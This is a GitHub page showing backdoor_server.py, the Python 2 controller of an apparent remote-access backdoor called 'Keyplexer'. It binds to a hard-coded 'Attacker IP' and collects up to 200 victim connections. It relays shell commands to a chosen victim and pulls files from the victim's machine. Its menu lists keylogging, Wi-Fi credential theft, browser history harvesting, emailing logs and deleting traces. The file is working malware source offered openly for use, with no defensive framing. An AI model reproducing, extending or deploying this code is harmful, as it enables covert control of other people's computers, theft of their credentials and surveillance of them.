-
Notifications
You must be signed in to change notification settings - Fork 14
/
backdoor_server.py
312 lines (223 loc) · 9.65 KB
/
backdoor_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
import subprocess
from socket import *
import time
import sys, os
import threading
import subprocess
""" This module for creating quick backdoors
servers
TODO The backdoor uses username and password for protection purposes
"""
def banner():
print """
Name:
Date :
Version : v2.0
_ __ ____ _
| |/ / ___ _ _ | _ \ | | ___ __ __ ___ _ __
| ' / / _ \| | | || |_) || | / _ \\ \/ // _ \| '__|
| . \| __/| |_| || __/ | || __/ > <| __/| |
|_|\_\\___| \__, ||_| |_| \___|/_/\_\\___||_|
|___/
ooo, .---.
o` o / |\________________
o` 'oooo() | ________ _ _)
`oo o` \ |/ | | | |
`ooo' `---' "-" |_|
"""
def menu():
"""This function shows the server options"""
print "[*] Server Options: "
print
print "[*] refresh ========= > Refresh the connection" #DONE
print "[*] list ========= > Lists all the connected clients" #DONE
print "[*] select ========= > Select a specific target from the connected devices" #DONE
print "[*] interact ========= > Interacts with the device using the below command options" #DONE
print
print
interact()
def interact():
"""This is the program menu"""
print "[*] Command options: "
print
print "[*] keylog ========= > Start capturing keystrokes" #DONE
print "[*] openwins ========= > Get all the open program windows on the machine" #DONE
print "[*] capture ========= > take images of the host machine " #TODO
print "[*] sendlogs ========= > Sending logs by email" #DONE
print "[*] sendpics ========= > Sending images by email" #DONE
print "[*] history ========= > Gathers all browsers history" #DONE
print "[*] wifi ========= > Get Wi-Fi credentials " #DONE
print "[*] status ========= > Get the status of the machine on/off" #TODO
print "[*] systeminfo ========= > Get Fingerprint of the system" #TODO
print "[*] ip ========= > Get the external IP address" #DONE
print "[*] cover ========= > Delete all traces of logs" #TODO
print "\n\n"
host = '10.0.0.59' # Attacker IP address
port = 443 # Port number in which the attacker server listen to
# create a socket object
sock = socket(AF_INET, SOCK_STREAM)
# set timeout for the connection
sock.settimeout(5)
# bind socket to the host address and port number
sock.bind((host,port))
# define the maximun number of connection
sock.listen(200)
all_connections = [] # holds the connections
all_addresses = [] # holds the IP addresses
def get_multiple_clients():
"""This function handles multiple client"""
global client_conn, addr
for one_conn in all_connections:
# make sure to close all the connection first to avoid issues
one_conn.close()
# empty the list, delete all connections before start listening
del all_connections[:]
del all_addresses[:]
# Begin the process of accepting clients
while True:
try :
client_conn, addr = sock.accept()
client_conn.setblocking(1)
all_connections.append(client_conn)
all_addresses.append(addr)
except:
#print "[+] ERROR: Cheeck the connection "
break
def backdoor_shell():
global sock
#get_multiple_clients()
# run while loop to initiate the resverse connection
while True:
print
# shell command to be executed
user_command = raw_input("~$$keyplexer: >>> ").strip()
# refresh the list to see the new clients
if user_command == "refresh":
get_multiple_clients()
print
print bcolors.OKGREEN + "[+] Connection starts ---------------------- "
print "\n"
elif user_command == "list":
print
print bcolors.YELLOW + "[+] Connected Clients ---------------------- "
print
print "[+] # | IP Address | Port Number "
for ip in all_addresses :
print "[+] %d | %s | %s" % (all_addresses.index(ip) + 1, str(ip[0]), str(ip[1]))
print "\n"
elif ("test" in user_command):
print interact()
one = int(user_command.replace("test ","")) - 1
if ((one < len(all_addresses)) and (one >= 0 )):
print "[INFO] Interacting with %s" % str(all_addresses[one])
#liprint all_connections
print "connections: ", all_connections[0], client_conn
print str(all_addresses[one]), all_addresses
print "One", one
while True:
# shell command to be executed
user_command = raw_input("$Meterpreter_shell: >>> ")
# check for ":kill" to quit the shell
if user_command == ":kill":
# if the command is equal to ":kill", break
client_conn.send(":kill")
print "[+] Shell is shutting down ..............."
client_conn.close()
break
else:
# send the command to the user machine
print "Pick Socket Number: "
index = int(raw_input()) # index for the picking the sockets
all_connections[index].send(user_command)
# print the output
print all_connections[index].recv(1024)
elif("select" in user_command):
chosenone = int(user_command.replace("select ","")) - 1
if ((chosenone < len(all_addresses)) and (chosenone >= 0 )):
print "[INFO] Interacting with %s" % str(all_addresses[chosenone])
try:
all_connections[chosenone].send("begin") #welcome message
vtpath = all_connections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
except:
print "[ERROR] Client closed the connection\n"
break;
while 1:
data=raw_input(vtpath) #raw_input represents the client's sub process's current path
if ((data != "stop") and ("cd " not in data) and ("upload " not in data)):
try:
all_connections[chosenone].send(data)
msg=all_connections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
print msg
except:
print "[ERROR] Client closed the connection\n"
break;
elif ("cd " in data): #dealing with the cd command
try:
all_connections[chosenone].send(data)
msg=all_connections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
vtpath = msg + ">"
except:
print "[ERROR] Client closed the connection\n"
break;
else:
print "\n"
break
else:
print "[ERROR] Client doesn't exist\n"
##
elif ("download" in user_command):
transfer(client_conn,user_command)
print "DONE DONWLOAD"
elif (user_command == "clear"):
# clears the screen
os.system("clear")
elif (user_command == "help"):
# help menus
print
banner()
menu()
interact()
elif (user_command == ":kill"):
print "[+] Disconnecting from form the victim machine ----------------"
break
else:
# Invalid commanfs
print
print bcolors.WARNING + "[ERROR] Invalid Command\n"
def transfer(conn,command):
conn.send(command)
f = open('/home/keyplexer/Desktop/testing.png','wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print '[-] Unable to find out the file'
break
if bits.endswith('DONE'):
print '[+] Transfer completed '
f.close()
break
f.write(bits)
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[1;34m'
OKGREEN = '\033[1;32m'
WARNING = '\033[1;31m'
YELLOW = '\033[1;33m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def main():
banner()
menu()
backdoor_shell()
#main()
while True:
try:
main()
except KeyboardInterrupt :
get_multiple_clients()
print
print "[+] You closed the connections ---------------------------"
except:
get_multiple_clients()
time.sleep(3) # we wait 3 seconds before starting again